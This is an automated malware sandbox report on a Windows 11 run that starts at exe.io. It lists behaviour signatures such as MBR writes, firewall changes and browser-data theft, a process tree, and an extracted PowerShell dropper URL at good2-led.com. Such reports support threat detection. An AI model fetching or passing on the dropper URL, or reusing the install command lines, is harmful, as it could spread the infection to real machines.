Analysis
- max time kernel
879s - max time network
936s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
- submitted
02/03/2024, 17:05
General
- Target http://exe.io
- Sample240302-vlyr8sfc2x
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://good2-led.com/dark4.bs64
Signatures
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Drops file in Drivers directory 12 IoCs
- Modifies Installed Components in the registry 2 TTPs 6 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Sets service image path in registry 2 TTPs 14 IoCs
- Executes dropped EXE 58 IoCs
- Loads dropped DLL 64 IoCs
- Modifies system executable filetype association 2 TTPs 2 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers COM server for autorun 1 TTPs 3 IoCs
- Unexpected DNS network traffic destination 17 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks for any installed AV software in registry 1 TTPs 52 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 3 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Writes to the Master Boot Record (MBR) 1 TTPs 12 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Checks system information in the registry 2 TTPs 1 IoCs
System information is often read in order to detect sandboxing environments.
- Drops file in System32 directory 21 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 26 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- NSIS installer 2 IoCs
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 6 IoCs
- Modifies Internet Explorer settings 1 TTPs 5 IoCs
- Modifies data under HKEY_USERS 58 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 64 IoCs
- NTFS ADS 4 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: LoadsDriver 24 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 26 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://exe.io2⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb4cbf9758,0x7ffb4cbf9768,0x7ffb4cbf97783⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1620 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2172 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2788 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2796 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3812 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2812 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5256 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3424 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4640 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=5696 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5900 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=5540 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3440 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=6352 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=6612 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5712 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=6188 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=6320 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=6060 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=6640 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=6904 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=6148 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5960 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=5076 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6964 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6856 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
- Modifies registry class
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7360 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=7364 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --mojo-platform-channel-handle=5668 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --mojo-platform-channel-handle=940 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=7620 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8000 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5592 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:83⤵
- NTFS ADS
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --mojo-platform-channel-handle=4676 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7700 --field-trial-handle=1864,i,17097858315996185519,3904607313336778074,131072 /prefetch:23⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\Temp1_setup.zip\setup.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_setup.zip\setup.exe"2⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Ques Civi\AppLox 5.1.7\install\B31A273\installer_cb.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Temp1_setup.zip\setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\Temp1_setup.zip\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1709158530 " AI_EUIMSI=""3⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\Admin\AppData\Local\Default"2⤵
- Enumerates connected drives
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb54a69758,0x7ffb54a69768,0x7ffb54a697783⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1736 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2200 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3192 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3216 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3868 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4856 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3276 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4316 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5200 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3432 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5556 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3400 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5844 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3264 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=5972 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5956 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5648 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5908 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=6560 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=6764 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=6900 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
